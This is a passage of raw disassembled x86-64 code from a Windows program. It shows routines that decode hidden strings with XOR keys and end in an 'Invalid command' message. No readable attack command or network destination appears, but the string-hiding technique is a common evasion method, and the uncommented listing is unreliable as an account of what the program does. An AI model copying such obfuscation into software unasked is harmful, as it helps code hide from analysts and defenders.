jb 0x14000254a
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x38]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x40]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x55
jmp 0x140002565
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x38]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x40]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x55
lea rcx, [0x14000b4f0]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
lea r11, [rsi + r14]
mov rcx, r11
call fcn.140004c60
mov rdx, r15
mov rcx, r11
call fcn.140001010
mov ecx, 0x188
mov eax, dword [rcx + rsi]
mov edi, 0x4b0
test al, 1
jne 0x1400025d7
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rsi + rdi + 0xa], 0x13913e5
mov dword [rsi + rdi], 0x57d5c701
mov dword [rsi + rdi + 4], 0x148a715c
mov word [rsi + rdi + 8], 0x8c53
lea rcx, [0x14000b4d0]
call fcn.14000944c
nop
lea r9, [rsi + rdi]
cmp byte [r9 + 0xd], 0
je 0x1400026e2
mov r8, rbx
cmp r12d, 5
jl 0x1400026ab
movdqa xmm2, xmmword [0x14000ca30]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000c6e0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000c700]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0x7bfd053919dfe721
nop word [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 0xd
jb 0x1400026c0
mov byte [r9 + 0xd], 0
mov rcx, r9
call fcn.140001010
call fcn.140003010
mov r11, rax
mov rcx, rax
call fcn.140004ae0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000c910]
movdqa xmm1, xmmword [0x14000c960]
mov dword [rbp + 0xc0], 0xa3123f43
mov dword [rbp + 0xc4], 0x35cbc2ed
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x524
mov eax, dword [rcx + rdi]
mov esi, 0x290
test al, 1
jne 0x1400027a4
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x28], 1
lea rcx, [rax + 0x27]
lea rdx, [rbp + 0xc7]
cmp rax, rdx
ja 0x140002783
lea rdx, [rbp + 0xa0]
cmp rcx, rdx
jb 0x140002783
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0xc0]
movsd qword [rax + 0x20], xmm0
jmp 0x140002797
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0xc0]
movsd qword [rax + 0x20], xmm0
lea rcx, [0x14000b470]
call fcn.14000944c
nop
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.140004950
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000c830]
movdqa xmm1, xmmword [0x14000c890]
mov dword [rbp + 0xe8], 0x73b9af32
mov dword [rbp + 0xec], 0x1138a07a
mov ecx, 0x4a8
mov eax, dword [rcx + rdi]
mov esi, 0x2d8
test al, 1
jne 0x140002856
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x29], 1
lea rcx, [rax + 0x28]
lea rdx, [rbp + 0xf0]
cmp rax, rdx
ja 0x140002831
lea rdx, [rbp + 0xc8]
cmp rcx, rdx
jb 0x140002831
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0xe8]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0x53
jmp 0x140002849
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0xe8]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0x53
lea rcx, [0x14000b440]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.1400047d0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000c920]
mov dword [rbp - 0x70], 0xfd09023d
mov word [rbp - 0x6c], 0xbdcd
mov ecx, 0x320
mov eax, dword [rcx + rdi]
mov esi, 0x4c0
test al, 1
jne 0x1400028f1
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x16], 1
lea rax, [rcx + 0x15]
lea rdx, [rbp - 0x6b]
cmp rcx, rdx
ja 0x1400028d3
lea rdx, [rbp - 0x80]
cmp rax, rdx
jb 0x1400028d3
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x70]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x6c]
mov word [rcx + 0x14], ax
jmp 0x1400028e4
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x70]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x6c]
mov word [rcx + 0x14], ax
lea rcx, [0x14000b410]
call fcn.14000944c
nop
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.140004650
mov rcx, r11
call fcn.140001010
call fcn.1400030f0
mov r11, rax
mov rcx, rax
call fcn.1400044d0
mov rcx, r11
call fcn.140001010
call fcn.1400031f0
mov r11, rax
mov rcx, rax
call fcn.140004350
mov rcx, r11
call fcn.140001010
call fcn.140003300
mov r11, rax
mov rcx, rax
call fcn.1400041c0
mov rcx, r11
call fcn.140001010
mov ecx, 0x134
mov eax, dword [rcx + rdi]
mov esi, 0x350
test al, 1
jne 0x14000298f
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rdi + rsi + 0xa], 0x179fb2f
mov dword [rdi + rsi], 0xa21f8b27
mov dword [rdi + rsi + 4], 0xbf099e0d
mov word [rdi + rsi + 8], 0xdb72
lea rcx, [0x14000b350]
call fcn.14000944c
nop
lea r9, [rdi + rsi]
cmp byte [r9 + 0xd], 0
je 0x140002a92
mov r8, rbx
cmp r12d, 5
jl 0x140002a63
movdqa xmm2, xmmword [0x14000cd00]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000c6e0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000c700]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0xcb7bff79f115ab07
nop dword [rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 0xd
jb 0x140002a70
mov byte [r9 + 0xd], 0
mov rcx, r9
call fcn.140001010
movdqa xmm0, xmmword [0x14000c750]
movdqa xmm1, xmmword [0x14000c860]
mov dword [rbp + 8], 0xb71ee0f4
mov dword [rbp + 0xc], 0x4390f0
mov dword [rbp + 0x10], 0xf219e6f1
mov word [rbp + 0x14], 0xf9d1
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x378
mov eax, dword [rcx + rdi]
mov esi, 0x638
test al, 1
jne 0x140002b5b
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x2f], 1
lea rax, [rcx + 0x2e]
lea rdx, [rbp + 0x16]
cmp rcx, rdx
ja 0x140002b2b
lea rdx, [rbp - 0x18]
cmp rax, rdx
jb 0x140002b2b
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x10]
mov dword [rcx + 0x28], eax
movzx eax, word [rbp + 0x14]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0x2b
jmp 0x140002b4e
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x10]
mov dword [rcx + 0x28], eax
movzx eax, word [rbp + 0x14]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0x2b
lea rcx, [0x14000b320]
call fcn.14000944c
nop
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.140004040
mov rcx, r11
call fcn.140001010
call fcn.1400033f0
mov r11, rax
mov rcx, rax
call fcn.140003ec0
mov rcx, r11
call fcn.140001010
call fcn.1400034c0
mov r11, rax
mov rcx, rax
call fcn.140003d40
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000ce60]
mov dword [rbp - 0x28], 0x30e97898
mov dword [rbp - 0x24], 0x8f61c574
mov ecx, 0x340
mov eax, dword [rcx + rdi]
mov esi, 0x508
test al, 1
jne 0x140002c1b
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x19], 1
lea rcx, [rax + 0x18]
lea rdx, [rbp - 0x20]
cmp rax, rdx
ja 0x140002bfd
lea rdx, [rbp - 0x38]
cmp rcx, rdx
jb 0x140002bfd
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp - 0x28]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0xf5
jmp 0x140002c0e
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp - 0x28]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0xf5
lea rcx, [0x14000b290]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.140003bc0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000cd20]
movdqa xmm1, xmmword [0x14000cd50]
mov dword [rbp + 0x98], 0xc09840c8
mov word [rbp + 0x9c], 0xb95c
mov ecx, 0x4fc
mov eax, dword [rcx + rdi]
mov esi, 0x3b8
test al, 1
jne 0x140002ce3
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x27], 1
lea rax, [rcx + 0x26]
lea rdx, [rbp + 0x9e]
cmp rcx, rdx
ja 0x140002cb7
lea rdx, [rbp + 0x78]
cmp rax, rdx
jb 0x140002cb7
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x98]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x9c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0xc9
jmp 0x140002cd6
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x98]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x9c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0xc9
lea rcx, [0x14000b260]
call fcn.14000944c
nop
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003a40
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000cdf0]
movdqa xmm1, xmmword [0x14000cbc0]
mov dword [rbp + 0x118], 0xbc3add97
mov dword [rbp + 0x11c], 0x89dc7656
mov ecx, 0x5f0
mov eax, dword [rcx + rdi]
mov esi, 0x528
test al, 1
jne 0x140002d95
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rsi + rdi]
mov byte [rax + 0x29], 1
lea rcx, [rax + 0x28]
lea rdx, [rbp + 0x120]
cmp rax, rdx
ja 0x140002d70
lea rdx, [rbp + 0xf8]
cmp rcx, rdx
jb 0x140002d70
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x118]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xe7
jmp 0x140002d88
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x118]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xe7
lea rcx, [0x14000b230]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.1400038c0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000c9d0]
mov ecx, 0x37c
mov eax, dword [rcx + rdi]
mov esi, 0x2c0
test al, 1
jne 0x140002e15
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x170]
cmp rax, rdx
ja 0x140002e01
lea rdx, [rbp + 0x160]
cmp rcx, rdx
jb 0x140002e01
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x23
jmp 0x140002e08
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x23
lea rcx, [0x14000b210]
call fcn.14000944c
nop
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003740
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000cbe0]
movdqa xmm1, xmmword [0x14000ccc0]
movdqa xmm2, xmmword [0x14000cbf0]
mov dword [rbp + 0x158], 0xcb334e3a
mov ecx, 0x184
mov eax, dword [rcx + rdi]
mov r14d, 0x428
test al, 1
jne 0x140002ebe
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x34], 1
lea rax, [rcx + 0x33]
lea rdx, [rbp + 0x15b]
cmp rcx, rdx
ja 0x140002e9d
lea rdx, [rbp + 0x128]
cmp rax, rdx
jb 0x140002e9d
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov eax, dword [rbp + 0x158]
mov dword [rcx + 0x30], eax
jmp 0x140002eb1
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov eax, dword [rbp + 0x158]
mov dword [rcx + 0x30], eax
lea rcx, [0x14000b1e0]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
lea r11, [rsi + r14]
mov rcx, r11
call fcn.1400035c0
mov rcx, r11
call fcn.140001010
mov ecx, 0x314
mov eax, dword [rcx + rsi]
mov edi, 0x480
test al, 1
jne 0x140002f14
or eax, 1
mov dword [rcx + rsi], eax
mov word [rsi + rdi + 3], 0x159
mov word [rsi + rdi], 0xb11f
mov byte [rsi + rdi + 2], 0xe9
lea rcx, [0x14000b1c0]
call fcn.14000944c
nop
lea r8, [rsi + rdi]
cmp byte [r8 + 4], 0
je 0x140002fb1
cmp r12d, 5
jl 0x140002f80
movdqa xmm2, xmmword [0x14000c710]
movdqa xmm3, xmmword [0x14000cd90]
nop dword [rax]
movq xmm0, rbx
punpcklqdq xmm0, xmm0
paddq xmm0, xmm7
andps xmm0, xmm2
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm6
movzx eax, word [rbx + r8]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rbx + r8], ax
add rbx, 2
cmp rbx, 4
jb 0x140002f40
jmp 0x140002fac
movabs r9, 0xe58d7b2159e3913f
nop word [rax + rax]
movzx ecx, bl
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rbx + r8], dl
inc rbx
cmp rbx, 4
jb 0x140002f90
mov byte [r8 + 4], 0
mov rcx, r8
call fcn.140001010
call fcn.140005870
mov rcx, rax
call fcn.14000939c
xor eax, eax
jmp 0x140002fdb
lea rcx, str.Invalid_command_try____n
call fcn.140001010
mov eax, 1
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret